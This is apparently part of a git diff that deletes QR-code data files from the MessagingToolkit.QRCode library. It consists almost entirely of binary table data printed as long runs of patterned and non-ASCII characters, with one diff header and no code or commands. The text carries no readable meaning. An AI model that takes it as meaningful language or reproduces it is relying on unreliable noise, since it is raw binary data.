-5555556543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!             - - - -6565654343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!           - - - -4343434343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%$#$#$#$#$#"!"!"!"!         - - - -4343434343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -4343434343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -4343434343434321212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - - - -4343434321212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#"!"!"!"!"!         - - - - - - - -4343434321212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!       - - - - - - - -4343434321212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!     - - - - - - - -43434343212121212121210/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!     - - - - - - 43434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!      - - - -43434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/0/0/0/.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-.-.-.-,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - }}~~ - - xwwvvuut tuuvvwwx)((''&&%TUUVVWWXIHHGGFFE45566778ihhggffe - - ~~}}yyzz{{||$$##""!!YYZZ[[\\DDCCBBAA99::;;<>==<=>>??@@A`__^^]]\ !~~}}|yzz{{||}$##""!! qrrssttu - - tssrrqqp ~~}xyyzz{{|%$$##""!XYYZZ[[\EDDCCBBA899::;;>====>>??@@``__^^]] ~~}}yyzz{{|| - -  abbccdde<;;::998ABBCCDDE\[[ZZYYX!""##$$%|{{zzyyx}~~ uvvwwxxy - - poonmlkj !!""##$}||{{zzy|}}~~! \]]^^__`A@@??>>=<==>>??@a``__^^] ~~}~~}}||{xxwwvvuuaabbccdd<<;;::99AABBCCDD\\[[ZZYY!!""##$$||{{zzyy}}~~~~}}| - - effgghhi87766554EFFGGHHIXWWVVUUT%&&''(()xwwvvuut yzz{{||} -~~}} iihhggff$%%&&''(yxxwwvvu`aabbccd=<<;;::9@AABBCCD]\\[[ZZY !!""##$}||{{zzy{zzyyxxw !!""ttssrrqq - - eeffgghh88776655EEFFGGHHXXWWVVUU%%&&''((xxwwvvuu |{{zzyyx ijjkkllm43322110IJJKKLLMTSSRRQQP)**++,,-tssrrqqp - - }~~ - ||{{zzyy!!""eeddccbb())**++,uttssrrq - - deeffggh98877665DEEFFGGHYXXWWVVU$%%&&''(yxxwwvvu - - wvvuutts##$$%%&&ppoonnmm iijjkkll44332211IIJJKKLLTTSSRRQQ))**++,,ttssrrqq - - - - xwwvvuut mnnooppq0//..--,MNNOOPPQPOONNMML-..//001poonnmml xxwwvvuu##$$%%&&aa``__^^,--..//0qppoonnm hiijjkkl54433221HIIJJKKLUTTSSRRQ())**++,uttssrrq srrqqppo''(())**llkkjjii mmnnoopp00//..--MMNNOOPPPPOONNMM--..//00ppoonnmm tssrrqqp - - qrrssttu,++**))(QRRSSTTULKKJJIIH12233445lkkjjiih  ttssrrqq~~}}||''(())**]]\\[[ZZ01122334mllkkjji lmmnnoop100//..-LMMNNOOPQPPOONNM,--..//0qppoonnmoiihhggf++,,--..hhggffee - - qqrrsstt,,++**))QQRRSSTTLLKKJJII11223344llkkjjiipoonmlkjuvvwwxxy(''&&%%$UVVWWXXYHGGFFEED56677889hggffeed - -  - - ppoonnmm {{zzyyxx++,,--..YYXXWWVV45566778ihhggffe - - pqqrrsst-,,++**)PQQRRSSTMLLKKJJI01122334mllkkjjifeeddccb//001122ddccbbaauuvvwwxx((''&&%%UUVVWWXXHHGGFFEE55667788hhggffeeiihhggff !~~}}|yzz{{||}$##""!! YZZ[[\\]DCCBBAA@9::;;<<=dccbbaa`~ llkkjjii!!""##$$wwvvuutt//001122UUTSRQPO899::;;>==<=>>??@@A`__^^]]\ !~~}}|~}}||{{zhhggffee%%&&''((ssrrqqpp334455;;ONNMMLLK<==>>??@a``__^^] ~~}xyyzz{{|%$$##""!XYYZZ[[\EDDCCBBA899::;;>====>>??@@``__^^]] {{zzyyxx##$$%%&&aa``__^^%&&''(()xwwvvuut abbccdde<;;::998ABBCCDDE\[[ZZYYX!""##$$%|{{zzyyx zyyxxwwvddccbbaa))**++,,ooiihhgg<<==>>??KJJIIHHG@AABBCCD]\\[[ZZY !!""##$}||{{zzy|}}~~! \]]^^__`A@@??>>=<==>>??@a``__^^]%&&''(()ZYYXXWWV=>>??@@AXXWWVVUU%%&&''((xxwwvvuuaabbccdd<<;;::99AABBCCDD\\[[ZZYY!!""##$$wwvvuutt''(())**]]\\[[ZZ)**++,,-tssrrqqp - - effgghhi87766554EFFGGHHIXWWVVUUT%&&''(()xwwvvuut - - vuuttssr``__^^]]--..//00ffeeddcc@@AABBCCGFFEEDDCDEEFFGGHYXXWWVVU$%%&&''(yxxwwvvu`aabbccd=<<;;::9@AABBCCD]\\[[ZZY)**++,,-VUUOONNMABBCCDDETTSSRRQQ))**++,,ttssrrqq - - eeffgghh88776655EEFFGGHHXXWWVVUU%%&&''((ssrrqqpp++,,--..YYXXWWVV-..//001poonnmml ijjkkllm43322110IJJKKLLMTSSRRQQP)**++,,-tssrrqqp rqqppooi !!""##\\[[ZZYY11223344bbaa``__DDEEFFGGCBBAA@@?HIIJJKKLUTTSSRRQ())**++,uttssrrq - - deeffggh98877665DEEFFGGHYXXWWVVU-..//001MLLKKJJIEFFGGHHIPPOONNMM--..//00ppoonnmm iijjkkll44332211IIJJKKLLTTSSRRQQ))**++,,ooiihhgg//001122UUTSRQPO12233445lkkjjiih mnnooppq0//..--,MNNOOPPQPOONNMML-..//001poonnmmlihhggffe$$%%&&''XXWWVVUU55667788^^]]\\[[HHIIJJKK?>>==<<;LMMNNOOPQPPOONNM,--..//0qppoonnm hiijjkkl54433221HIIJJKKLUTTSSRRQ12233445IHHGGFFEIJJKKLLMLLKKJJII11223344llkkjjii mmnnoopp00//..--MMNNOOPPPPOONNMM--..//00ffeeddcc334455;;ONNMMLLK56677889hggffeed - - qrrssttu,++**))(QRRSSTTULKKJJIIH12233445lkkjjiiheddccbba(())**++TTSSRRQQ99::;;<EDDCCBBAMNNOOPQRHHGGFFEE55667788hhggffee - - qqrrsstt,,++**))QQRRSSTTLLKKJJII11223344bbaa``__<<==>>??KJJIIHHG9::;;<<=dccbbaa`uvvwwxxy(''&&%%$UVVWWXXYHGGFFEED56677889hggffeed!!"a``__^^],,--..//PPOONNMM==>>??@@VVUUOONNUUVVWWXX44332211TUUVVWWXIHHGGFFE45566778ihhggffe - - pqqrrsst-,,++**)PQQRRSSTMLLKKJJI>??@@AABA@@??>>=STUUVVWWDDCCBBAA99::;;<>??@@A`__^^]]\ !~~}}|yzz{{||}$##""!! YZZ[[\\]DCCBBAA@9::;;<<=dccbbaa`"##$$%%&]\\[[ZZY00112233LLKKJJIIAABBCCDDMMLLKKJJYYZZ[[\\00//..--XYYZZ[[\EDDCCBBA899::;;>====>>??@@``__^^]] ~~}}yyzz{{||$$##""!!YYZZ[[\\DDCCBBAA99::;;<>==<=>>??@@A`__^^]]\&''(())*YXXWWVVU44556789HHGGFFEEEEFFGGHHIIHHGGFF]]^^__``,,++**))\]]^^__`A@@??>>=<==>>??@a``__^^] ~~}xyyzz{{|%$$##""!XYYZZ[[\EDDCCBBAFGGHHIIJ43322110\\]]^^__<<;;::99AABBCCDD\\[[ZZYY!!""##$$||{{zzyy}}~~ ]]^^__``@@??>>====>>??@@VVUUOONNHHIIJJKK?>>==<<;EFFGGHHIXWWVVUUT%&&''(()xwwvvuut abbccdde<;;::998ABBCCDDE\[[ZZYYX*++,,--.UOONNMML:;;<<==>DDCCBBAAIIJJKKLLEEDDCCBBaabbccdd((''&&%%`aabbccd=<<;;::9@AABBCCD]\\[[ZZY !!""##$}||{{zzy|}}~~! \]]^^__`A@@??>>=JKKLLMMN0//..--,``aabbcc88776655EEFFGGHHXXWWVVUU%%&&''((xxwwvvuuaabbccdd<<;;::99AABBCCDDMMLLKKJJLLMMNNOO;:987655IJJKKLLMTSSRRQQP)**++,,-tssrrqqp - - effgghhi87766554EFFGGHHIXWWVVUUT.//00112LKKJJIIH>??@@AAB@@??>>==MMNNOOPPAA@@??>>eeffgghh$$##""!!deeffggh98877665DEEFFGGHYXXWWVVU$%%&&''(yxxwwvvu`aabbccd=<<;;::9NOOUUVVW,++**))(ddeeffgg44332211IIJJKKLLTTSSRRQQ))**++,,ttssrrqq - - eeffgghh88776655EEFFGGHHIIHHGGFFUUVVWWXX44332211MNNOOPPQPOONNMML-..//001poonnmml ijjkkllm43322110IJJKKLLMTSSRRQQP2334455;HGGFFEEDBCCDDEEF<<;;::99QQRRSSTT==<<;;55iiooppqq hiijjkkl54433221HIIJJKKLUTTSSRRQ())**++,uttssrrq - - deeffggh98877665WXXYYZZ[(''&&%%$hhiijklm00//..--MMNNOOPPPPOONNMM--..//00ppoonnmm iijjkkll44332211IIJJKKLLEEDDCCBBYYZZ[[\\00//..--QRRSSTTULKKJJIIH12233445lkkjjiih mnnooppq0//..--,MNNOOPPQPOONNMML;<<==>>?DCCBBAA@FGGHHIIJ88776655UUVVWWXX44332211rrssttuulmmnnoop100//..-LMMNNOOPQPPOONNM,--..//0qppoonnm hiijjkkl54433221[\\]]^^_$##""!!nooppqqr,,++**))QQRRSSTTLLKKJJII11223344llkkjjii mmnnoopp00//..--MMNNOOPPAA@@??>>]]^^__``,,++**))UVVWWXXYHGGFFEED56677889hggffeed - - qrrssttu,++**))(QRRSSTTULKKJJIIH?@@AABBC@??>>==>==<=>>??@@A`__^^]]\ !~~}}|yzz{{||}$##""!! YZZ[[\\]DCCBBAA@GHHIIJJK3221100/UUVVWWXX,,++**))aabbccdd((''&&%%~~ -xyyzz{{|%$$##""!XYYZZ[[\EDDCCBBA899::;;>====>>??@@``__^^]] ~~}}yyzz{{||$$##""!!YYZZ[[\\00//..--iiooppqq abbccdde<;;::998ABBCCDDE\[[ZZYYX!""##$$%|{{zzyyx}~~ ]^^__``a@??>>==>=<==>>??@a``__^^] ~~}xyyzz{{|%$$##""!pqqrrsst ~aabbccdd<<;;::99AABBCCDD\\[[ZZYY!!""##$$||{{zzyy}}~~ ]]^^__``,,++**))rrssttuueffgghhi87766554EFFGGHHIXWWVVUUT%&&''(()xwwvvuut abbccdde<;;::998OUUVVWWX+**))((']]^^__``$$##""!!iijjkkll`aabbccd=<<;;::9@AABBCCD]\\[[ZZY !!""##$}||{{zzy|}}~~! tuuvvwwx - - eeffgghh88776655EEFFGGHHXXWWVVUU%%&&''((xxwwvvuuaabbccdd((''&&%%vvwwxxyyijjkkllm43322110IJJKKLLMTSSRRQQP)**++,,-tssrrqqp - - effgghhi87766554XYYZZ[[\'&&%%$$#aabbccdd mmnnoopp - - deeffggh98877665DEEFFGGHYXXWWVVU$%%&&''(yxxwwvvuxyyzz{{|iijjkkll44332211IIJJKKLLTTSSRRQQ))**++,,ttssrrqq - - eeffgghh$$##""!!zz{{||}}mnnooppq0//..--,MNNOOPPQPOONNMML-..//001poonnmml ijjkkllm43322110\]]^^__`#""!!eeffgghhqqrrsstt hiijjkkl54433221HIIJJKKLUTTSSRRQ())**++,uttssrrq - - |}}~~ mmnnoopp00//..--MMNNOOPPPPOONNMM--..//00ppoonnmm iijjkkll~~ -qrrssttu,++**))(QRRSSTTULKKJJIIH12233445lkkjjiih mnnooppq0//..--,`aabbccdiijklmnouuvvwwxx ~~}}| lmmnnoop100//..-LMMNNOOPQPPOONNM,--..//0qppoonnm  - - - - qqrrsstt,,++**))QQRRSSTTLLKKJJII11223344llkkjjii mmnnoopp - uvvwwxxy(''&&%%$UVVWWXXYHGGFFEED56677889hggffeed - - qrrssttu,++**))(deeffgghoppqqrrsyyzz{{|| - - |{{zzyyx - - pqqrrsst-,,++**)PQQRRSSTMLLKKJJI01122334mllkkjji uuvvwwxx((''&&%%UUVVWWXXHHGGFFEE55667788hhggffee - - qqrrssttyzz{{||}$##""!! YZZ[[\\]DCCBBAA@9::;;<<=dccbbaa`uvvwwxxy(''&&%%$hiiooppqsttuuvvwwxxyyzz{##""!! ZZ[[\\]]CCBBAA@@::;;<<==ccbbaa``vvwwxxyy''&&%%$$VVWWXXYY33221100ffgghhii##""!! ^__``aab?>>==<<;>??@@AAB_^^]]\\[ !!"~~}}||{z{{||}}~#""!! Z[[\\]]^,++**))(z{{||}}~ - - {||}}~~^^__``aa??>>==<<>>??@@AA__^^]]\\ !!~~}}||zz{{||}}##""!! ZZ[[\\]]//..--,,ooppqqrrbccddeef;::99887BCCDDEEF[ZZYYXXW"##$$%%&{zzyyxxw~^__``aab(''&&%%$~ - - bbccddee;;::9988BBCCDDEE[[ZZYYXX""##$$%%{{zzyyxx~~^^__``aa++**))((ssttuuvvfgghhiij76655443FGGHHIIJWVVUUTTS&''(())*wvvuutts -bccddeef$##""!!~~} ffgghhii77665544FFGGHHIIWWVVUUTT&&''(())wwvvuutt bbccddee''&&%%$$wwxxyyzzjkkllmmn3221100/JKKLLMMNSRRQQPPO*++,,--.srrqqppo - fgghhiij}||{{zzyjjkkllmm33221100JJKKLLMMSSRRQQPP**++,,--ssrrqqpp - - ffgghhii##""!!{{||}}~~ nooppqqr/..--,,+NOOPPQQRONNMMLLK.//00112onnmmllkjkkllmmnyxxwwvvu nnooppqq//..--,,NNOOPPQQOONNMMLL..//0011oonnmmlljjkkllmm - - rssttuuv+**))(('RSSTTUUVKJJIIHHG23344556kjjiihhg nooppqqruttssrrq - - rrssttuu++**))((RRSSTTUUKKJJIIHH22334455kkjjiihh nnooppqq vwwxxyyz'&&%%$$#VWWXXYYZGFFEEDDC6778899:gffeeddc - - rssttuuv qppoonnm vvwwxxyy''&&%%$$VVWWXXYYGGFFEEDD66778899ggffeedd - - rrssttuuz{{||}}~#""!! Z[[\\]]^CBBAA@@?:;;<<==>cbbaa``_vwwxxyyz - - -mllkkjji !!""##$~~}}||zz{{||}}##""!! ZZ[[\\]]CCBBAA@@::;;<<==ccbbaa``vvwwxxyy ~^__``aab?>>==<<;>??@@AAB_^^]]\\[ !!"~~}}||{z{{||}}~ - ihhggffe$%%&&''({{zzyyxx~~^^__``aa??>>==<<>>??@@AA__^^]]\\ !!~~}}||zz{{||}} - -  -bccddeef;::99887BCCDDEEF[ZZYYXXW"##$$%%&{zzyyxxw~eddccbba())**++,wwvvuutt bbccddee;;::9988BBCCDDEE[[ZZYYXX""##$$%%{{zzyyxx~~~~}}||{ - fgghhiij76655443FGGHHIIJWVVUUTTS&''(())*wvvuutts -a``__^^],--..//0ssrrqqpp - - ffgghhii77665544FFGGHHIIWWVVUUTT&&''(())wwvvuutt  - -{zzyyxxwjkkllmmn3221100/JKKLLMMNSRRQQPPO*++,,--.srrqqppo - ]\\[[ZZY01122334oonnmmlljjkkllmm33221100JJKKLLMMSSRRQQPP**++,,--ssrrqqpp - - wvvuutts nooppqqr/..--,,+NOOPPQQRONNMMLLK.//00112onnmmllk!!""#YXXWWVVU45566778kkjjiihh nnooppqq//..--,,NNOOPPQQOONNMMLL..//0011oonnmmllsrrqqppo - - rssttuuv+**))(('RSSTTUUVKJJIIHHG23344556kjjiihhg#$$%%&&'UTTSSRRQ899::;;>??@ccbbaa``vvwwxxyy''&&%%$$VVWWXXYYGGFFEEDD66778899ggffeeddhhggffee !!"~~}}||{z{{||}}~#""!! Z[[\\]]^CBBAA@@?:;;<<==>cbbaa``_{zzyyxxw+,,--../MLLKKJJI@AABBCCD__^^]]\\ !!~~}}||zz{{||}}##""!! ZZ[[\\]]CCBBAA@@::;;<<==ccbbaa``~~}}||{{!!""##ddccbbaa"##$$%%&{zzyyxxw~^__``aab?>>==<<;>??@@AAB_^^]]\\[ !!"wvvuutts/0011223IHHGGFFEDEEFFGGH[[ZZYYXX""##$$%%{{zzyyxx~~^^__``aa??>>==<<>>??@@AA__^^]]\\ !!zzyyxxww$$%%&&''``__^^]]&''(())*wvvuutts -bccddeef;::99887BCCDDEEF[ZZYYXXW"##$$%%&srrqqppo34455;;>??@A@@??>>=LMMNNOOPSSRRQQPP**++,,--ssrrqqpp - - ffgghhii77665544FFGGHHIIWWVVUUTT&&''(())rrqqppoo,,--..//XXWWVVUU.//00112onnmmllkjkkllmmn3221100/JKKLLMMNSRRQQPPO*++,,--.feeddccb@AABBCCD=<<;;::9PQQRRSSTOONNMMLL..//0011oonnmmlljjkkllmm33221100JJKKLLMMSSRRQQPP**++,,--iihhggff00112233TSRQPOON23344556kjjiihhg nooppqqr/..--,,+NOOPPQQRONNMMLLK.//00112baa``__^DEEFFGGH98877665TUUVVWWXKKJJIIHH22334455kkjjiihh nnooppqq//..--,,NNOOPPQQOONNMMLL..//0011eeddccbb4455;;<>??@@JIIHHGGF:;;<<==>cbbaa``_vwwxxyyz'&&%%$$#VWWXXYYZGFFEEDDC6778899:ZYYXXWWVLMMNNOOU100//..-\]]^^__`CCBBAA@@::;;<<==ccbbaa``vvwwxxyy''&&%%$$VVWWXXYYGGFFEEDD66778899]]\\[[ZZAABBCCDDFEEDDCCB>??@@AAB_^^]]\\[ !!"~~}}||{z{{||}}~#""!! Z[[\\]]^CBBAA@@?:;;<<==>VUUOONNMUVVWWXXY-,,++**)`aabbccd??>>==<<>>??@@AA__^^]]\\ !!~~}}||zz{{||}}##""!! ZZ[[\\]]CCBBAA@@::;;<<==YYXXWWVVEEFFGGHHBAA@@??>BCCDDEEF[ZZYYXXW"##$$%%&{zzyyxxw~^__``aab?>>==<<;>??@@AABMLLKKJJIYZZ[[\\])((''&&%deeffggh;;::9988BBCCDDEE[[ZZYYXX""##$$%%{{zzyyxx~~^^__``aa??>>==<<>>??@@AAUUOONNMMIIJJKKLL>==<<;;:FGGHHIIJWVVUUTTS&''(())*wvvuutts -bccddeef;::99887BCCDDEEFIHHGGFFE]^^__``a%$$##""!hiijjkkl77665544FFGGHHIIWWVVUUTT&&''(())wwvvuutt bbccddee;;::9988BBCCDDEELLKKJJIIMMNNOOUU98765544JKKLLMMNSRRQQPPO*++,,--.srrqqppo - fgghhiij76655443FGGHHIIJEDDCCBBAabbccdde! lmmnnoop33221100JJKKLLMMSSRRQQPP**++,,--ssrrqqpp - - ffgghhii77665544FFGGHHIIHHGGFFEEVVWWXXYY33221100NOOPPQQRONNMMLLK.//00112onnmmllkjkkllmmn3221100/JKKLLMMNA@@??>>=effgghhipqqrrsst//..--,,NNOOPPQQOONNMMLL..//0011oonnmmlljjkkllmm33221100JJKKLLMMDDCCBBAAZZ[[\\]]//..--,,RSSTTUUVKJJIIHHG23344556kjjiihhg nooppqqr/..--,,+NOOPPQQR=<<;;554iooppqqrtuuvvwwx++**))((RRSSTTUUKKJJIIHH22334455kkjjiihh nnooppqq//..--,,NNOOPPQQ@@??>>==^^__``aa++**))((VWWXXYYZGFFEEDDC6778899:gffeeddc - - rssttuuv+**))(('RSSTTUUV43322110rssttuuvxyyzz{{|''&&%%$$VVWWXXYYGGFFEEDD66778899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˙rtAJlvXnۑZHAbۑpJApfH~QtJlpvnJ`ےdQZ|~f`HAbےZdQbtlJtAXv`fbHAZpdrtAJvXnr˂plJtApvnbHAZp˙rtAJlvXnہJXQrlJtArdf~HfprXQtbdvpfHے`JXHr󙐂ˁf۝`vtbAdZXv`fbHAZpdrtAJvXn`JXQrlJtArdf~Hf˂rXQltbvpfHZHAbrd|Xv`frXQtbdvpfH˂pZHrd|~HfpvnXJ`ےQZ|d~f`Qr`pJAHrXnvˍ|dr~Hf˂rXQltbvpfH˂pZrd|~HfpvnJ`ےdQZ|~f`ے`JXQZdQbt~HfJ`ےQZ|d~f`Abے`ZdQbtvnXv`fbHAZp˙rtAJlvXnے`JXQ󙐂ˁ`ZpfH~QtJlpvnJ`ےdQZ|~f`HAbےZdQbtpvnXv`fbHAZpdrtAJvXnrےlJtApvnbHAZp˙rtAJlvXnہJXQrlJtAv`fHfpۂrXQtbdvpfHr˂pQXb㉀f۝`vtbAdZ|JJKKKKKKKKKKKKKKKKKKKKKKKKKKKKK \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_1.dat deleted file mode 100644 index 98ce564..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_1.dat +++ /dev/null @@ -1,281 +0,0 @@ -}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqpopopopopopopopopopopopmnmnmnmnklklklklklklklklijijijiijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOOOOOOPOPOPOPMNMNMNMNMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878786565555556565656434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!    }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnklklklklklklklkliiiijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQOPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!     }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnklklklklklklklkljijijijijijiiiiihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQOPOPOPOPOOOOOOPOMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565655555565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopoponmnmnmnmnmnmnmnklklklklklklklkljijijijiijijijijhghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSRQRQRQRQRQOPOPOPOPPOPOPOPOMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABA@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565665656543434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        